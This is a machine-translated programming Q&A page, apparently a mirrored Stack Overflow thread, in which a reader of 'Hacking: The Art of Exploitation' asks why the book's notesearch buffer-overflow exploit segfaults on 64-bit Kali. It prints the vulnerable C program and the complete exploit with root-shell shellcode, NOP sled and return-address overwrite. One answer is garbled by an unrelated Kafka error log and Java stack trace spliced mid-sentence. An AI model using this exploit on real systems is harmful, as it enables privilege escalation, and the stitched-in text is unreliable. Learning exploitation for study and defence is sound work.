我已经购买了这本名为" Hacking,The Art of Exploitation"的书,其中有一个程序,它是一个缓冲区溢出漏洞,来自本书前面出现的程序。我遇到了一些问题。首先,如果我尝试运行该程序,我会遇到分段错误(即使作者运行与我相同的命令并且他没有遇到任何问题)我的第二个问题是我认为作者做得很差,解释究竟发生了什么。我很困惑这个漏洞1)如何确定偏移值2)使用NOP雪橇找到返回地址(这是如何工作的)3)shellcode如何说明发生了什么/它说什么/怎么能我看了。
被利用程序的代码是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //Just an error checked malloc and an error message/exit function
#define FILENAME "/var/notes"
void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);
int main(int argc, char *argv[]) {
int fd, userid, printing = 1;
char searchstring[100];
if (argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1) {
fatal("in main opening file");
}
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match an optional searchstring
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){
int note_length;
char byte = 0;
char note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) //If end of file reached
return 0; // Return 0;
read(fd, note_buffer, note_length); // Read More Data
note_buffer[note_length] = 0; // Terminate the String
if(search_note(note_buffer, searchstring)) //If searchstring found
printf(note_buffer); //Print the note
return 1;
}
// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) { // Loop unitl a note for user_uid is found
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data
return -1; // If 4 bytes arent read, return end of file code
if(read(fd, &byte, 1) != 1) //Read the newline separtor
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read Single byte
return -1; // If byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes
printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
return length;
}
//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no searchstring
return 1; //Always match
for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
if(note[i] == keyword[match]) // If byte matches keyword
match++; // Get ready to check nexy byte
else {
if(note[i] == keyword[match]) // If byte matches keyword
match = 1; // Start the match count at 1
else
match = 0; // Otherwise its zero
}
if(match == keyword_length) // If there is a full match
return 1; // return match
}
return 0; // return not matched
}
The exploit that is included is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; //Set return address
for(i=0; i <160; i+=4) //Fill buffer with return addres
*((unsigned int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
注意该代码:我在分配i - 偏移地址的行上收到警告。我很确定这是因为我使用的是64位机器,指针是8个字节,而unsigned int只有4个。为了解决这个问题,我选择了一个长的unsigned int。我不确定这是不是很好的做法,但在我错的时候纠正我。 所以我改变它是:
ret =(unsigned int)&amp; i - offset; //设置返回地址[/ code]
我使用gdb来分析发生了什么,我发现在线路中发生了分段错误
系统(命令); //运行漏洞利用
我也使用gdb彻底检查程序中所有变量地址的内存,我注意到当本书的作者检查命令变量的内容时(虽然它中包含shellcode),他的输出显示了一堆古怪的角色,但我的数字和斜线显示。为什么会有区别?
我的主要观点是,我不知道如何阻止此分段错误的发生,但仍然可以使此漏洞利用正常工作。如果有人能够帮助我,那就太好了。如果有人需要更多信息,我很乐意提供。
PS-我正在运行kali linix 64位if(如果这可能有助于你确定某事)
编辑导致分段错误的行是:
*((unsigned int*)(buffer+i)) = ret;
答案 0 :(得分:0)
您可以使用以下内容模拟缓冲区溢出:
find()
然后观察调试器中的溢出区域以查看溢出。
答案 1 :(得分:0)
我在指定i - 偏移地址的行上收到警告。 我很确定这是因为我使用的是64位机器, 指针是8个字节,而unsigned int只有4个。为了解决这个问题, 我选择了一个长的unsigned int。我不确定这是不是很好 练习,但在我错的时候纠正我。所以我改变它是:
ret =(unsigned int)&amp; i - offset; //设置返回地址
与你所写的内容相反(我选择长期无符号整数),你只会将unsigned int
类型化,这是错误的(太短)。出于此目的,您最好uintptr_t
使用<stdint.h>
ret
。请注意,您还必须为 *((unsigned int*)(buffer+i)) = ret;
定义足够长的时间。
导致分段错误的行是:
uname -m
这很难相信(除非这在存储4字节值时产生对齐异常的处理器上运行),因为这里写入的地址在200字节分配的存储区域中从偏移14到170的范围。您可以显示导致您得出结论的步骤,以及命名旧机器硬件(`[2017-11-10 15:17:53,999] INFO [ThrottledRequestReaper-Fetch]: Starting
(kafka.server.ClientQuotaManager$ThrottledRequestReaper)
[2017-11-10 15:17:53,999] INFO [ThrottledRequestReaper-Produce]: Starting
(kafka.server.ClientQuotaManager$ThrottledRequestReaper)
[2017-11-10 15:17:53,999] INFO [ThrottledRequestReaper-Request]: Starting
(kafka.server.ClientQuotaManager$ThrottledRequestReaper)
[2017-11-10 15:17:54,109] INFO Loading logs. (kafka.log.LogManager)
[2017-11-10 15:17:54,171] WARN Found a corrupted index file due to
requirement failed: Corrupt index found, index file (C:\Tools\Kafka\kafka-
logs\hubone.dataCollect.orbiwise.ArchiveQueue-0\00000000000000000015.index)
has non-zero size but the last offset is 15 which is no larger than the base
offset 15.}. deleting C:\Tools\Kafka\kafka-
logs\hubone.dataCollect.orbiwise.Arch`iveQueue-
0\00000000000000000015.timeindex, C:\Tools\Kafka\kafka-
logs\hubone.dataCollect.orbiwise.ArchiveQueue-0\00000000000000000015.index,
and C:\Tools\Kafka\kafka-logs\hubone.dataCollect.orbiwise.ArchiveQueue-
0\00000000000000000015.txnindex and rebuilding index... (kafka.log.Log)
[2017-11-10 15:17:54,171] ERROR There was an error in one of the threads
**during logs loading: java.nio.file.FileSystemException:
C:\Tools\Kafka\kafka-logs\hubone.dataCollect.orbiwise.ArchiveQueue-
0\00000000000000000015.timeindex: The process cannot access the file because
it is being used by another process.**
(kafka.log.LogManager)
[2017-11-10 15:17:54,171] FATAL [Kafka Server 1], Fatal error during
KafkaServer startup. Prepare to shutdown (kafka.server.KafkaServer)
java.nio.file.FileSystemException: C:\Tools\Kafka\kafka-
logs\hubone.dataCollect.orbiwise.ArchiveQueue-
0\00000000000000000015.timeindex: The process cannot access the file because
it is being used by another process.
at sun.nio.fs.WindowsException.translateToIOException(WindowsException.java:86)
at sun.nio.fs.WindowsException.rethrowAsIOException(WindowsException.java:97)
at sun.nio.fs.WindowsException.rethrowAsIOException(WindowsException.java:102)
at sun.nio.fs.WindowsFileSystemProvider.implDelete(WindowsFileSystemProvider.java:269)
at sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:108)
at java.nio.file.Files.deleteIfExists(Files.java:1165)
at kafka.log.Log$$anonfun$loadSegmentFiles$3.apply(Log.scala:318)
at kafka.log.Log$$anonfun$loadSegmentFiles$3.apply(Log.scala:279)
at scala.collection.TraversableLike$WithFilter$$anonfun$foreach$1.apply(TraversableLike.scala:733)
at scala.collection.IndexedSeqOptimized$class.foreach(IndexedSeqOptimized.scala:33)
at scala.collection.mutable.ArrayOps$ofRef.foreach(ArrayOps.scala:186)
at scala.collection.TraversableLike$WithFilter.foreach(TraversableLike.scala:732)
at kafka.log.Log.loadSegmentFiles(Log.scala:279)
at kafka.log.Log.loadSegments(Log.scala:383)
at kafka.log.Log.<init>(Log.scala:186)
at kafka.log.Log$.apply(Log.scala:1609)
at kafka.log.LogManager$$anonfun$loadLogs$2$$anonfun$5$$anonfun$apply$12$$anonfun$apply$1.apply$mcV$sp(LogManager.scala:172)
at kafka.utils.CoreUtils$$anon$1.run(CoreUtils.scala:57)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
)。
答案 2 :(得分:0)
ret = (unsigned int)&i - offset; //Set return address
更改为
ret = ((long int) &i) - offset; //Set return address